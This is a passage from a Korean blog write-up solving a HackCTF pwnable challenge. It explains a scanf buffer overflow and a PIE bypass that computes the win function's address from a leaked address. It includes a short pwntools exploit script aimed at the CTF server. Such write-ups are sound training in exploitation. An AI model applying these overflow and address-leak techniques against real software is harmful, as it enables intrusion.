문제 종류 - Pwnable
사용한 툴 - IDA
nc ctf.j0n9hyun.xyz 3008
풀이
일단 IDA로 파일을 열어보자.
수상해 보이는 2개의 함수가 있다. 일단 main부터 봐보도록 하자.
main에서는 welcome 함수를 호출하고 프로그램을 종료한다. 이번 문제는 main이 주가 아닌가 보다.
welcome 함수에서는 j0n9hyun의 주소 값을 출력하고 scanf로 값을 하나 받는다.
일단 scanf에서 bof가 일어나는 듯하다.
j0n9hyun 함수는 flag를 출력해주는 함수다.
그런데 문제를 보면, PIE라고 적혀있다. PIE는 메모리 보호 기법 중 하나로, binary가 랜덤한 주소를 갖게 된다.
그래서 프로그램에서 출력해주는, 주소로 공격을 시도하면 당연히 페이로드가 동작하지 않을 것이다. ^--^
원본 주소는, 출력된 주소 - 0x909(welcome) + 0x890(j0n9hyun)로 구할 수 있다. 페이로드는 다음과 같다.
1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz',3008)
4
5 p.recvline()
6 arr = int(p.recvline()[-11:-1],16)
7 arr = arr - 0x909 + 0x890
8
9 payload = '\x90'*22
10 payload += p32(arr)
11
12 p.sendline(payload)
13 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Yes or no 풀이 (150p) (0) | 2020.08.23 |
---|---|
[HackCTF] Pwnable 후기 (0) | 2020.07.18 |
[HackCTF] Offset 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] Simple_Overflow_ver_2 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] x64 Simple_size_BOF 풀이 (150p) (0) | 2020.07.15 |